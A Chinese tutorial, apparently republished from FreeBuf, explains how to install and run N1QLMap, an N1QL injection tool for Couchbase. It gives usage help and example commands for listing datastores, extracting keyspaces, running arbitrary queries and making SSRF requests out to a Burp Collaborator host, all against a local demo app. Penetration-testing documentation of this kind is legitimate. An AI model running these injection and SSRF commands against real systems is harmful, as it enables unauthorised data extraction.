这篇文章主要讲解了“怎么使用N1QLMap从Couchbase数据库中提取数据”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“怎么使用N1QLMap从Couchbase数据库中提取数据”吧!
N1QLMap是一款功能强大的N1QL注入漏洞利用工具,当前支持针对Couchbase数据库进行渗透。该工具支持通过CURL进行数据提取和SSRF攻击。该工具基于Python开发,因此具备较好的跨平台特性。
广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/FSecureLABS/N1QLMap.git
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
(-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
host
positional arguments:
host Host used to send an HTTP request e.g. https://vulndomain.net
optional arguments:
-h, --help show this help message and exit
-r REQUEST, --request REQUEST
Path to an HTTP request
-k KEYWORD, --keyword KEYWORD
Keyword that exists in HTTP response when query is successful
--proxy PROXY Proxy server address
--validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default!
-v, --verbose_debug Set the verbosity level to debug
-d, --datastores Lists available datastores
-ks DATASTORE_URL, --keyspaces DATASTORE_URL
Lists available keyspaces for specific datastore URL
-e KEYSPACE_ID, --extract KEYSPACE_ID
Extracts data from a specific keyspace
-q QUERY, --query QUERY
Run arbitrary N1QL query
-c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
Runs CURL N1QL function inside the query, can be used to SSRF
首先,我们需要向request.txt文件添加一个HTTP请求,然后使用*i*来制作一个注入点,大家可以通过查看example_request_1.txt文件以供参考。
接下来,需要执行下列命令。
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
除了Python 3环境之外,N1QLMap.py脚本不需其他任何的依赖组件。
下列组件仅Demo所需,Demo位于该项目的n1ql-demo目录下:
Docker
Docer Compose
如需在Kali上安装Docker和Docker Compose,请运行下列命令:
# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update
apt-get remove docker docker-engine docker.io
apt-get install docker-ce
# Start Docker Service
systemctl start docker
# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
接下来,运行下列命令即可测试Docker:
docker run hello-world
如需测试该工具并尝试利用N1QL注入漏洞,我们可以使用安装了Couchbase和NodeJS Web应用程序的Docker设备来进行测试。如果已经安装好了上述依赖组件,我们可以直接运行下列命令进行测试:
cd n1ql-demo
./quick_setup.sh
现在,我们就可以执行N1QLMap来进行N1QL注入漏洞测试并从Couchbase数据库中提取数据了。
感谢各位的阅读,以上就是“怎么使用N1QLMap从Couchbase数据库中提取数据”的内容了,经过本文的学习后,相信大家对怎么使用N1QLMap从Couchbase数据库中提取数据这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是亿速云,小编将为大家推送更多相关知识点的文章,欢迎关注!
亿速云「云数据库 MySQL」免部署即开即用,比自行安装部署数据库高出1倍以上的性能,双节点冗余防止单节点故障,数据自动定期备份随时恢复。点击查看>>
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。
原文链接:https://www.freebuf.com/articles/database/257101.html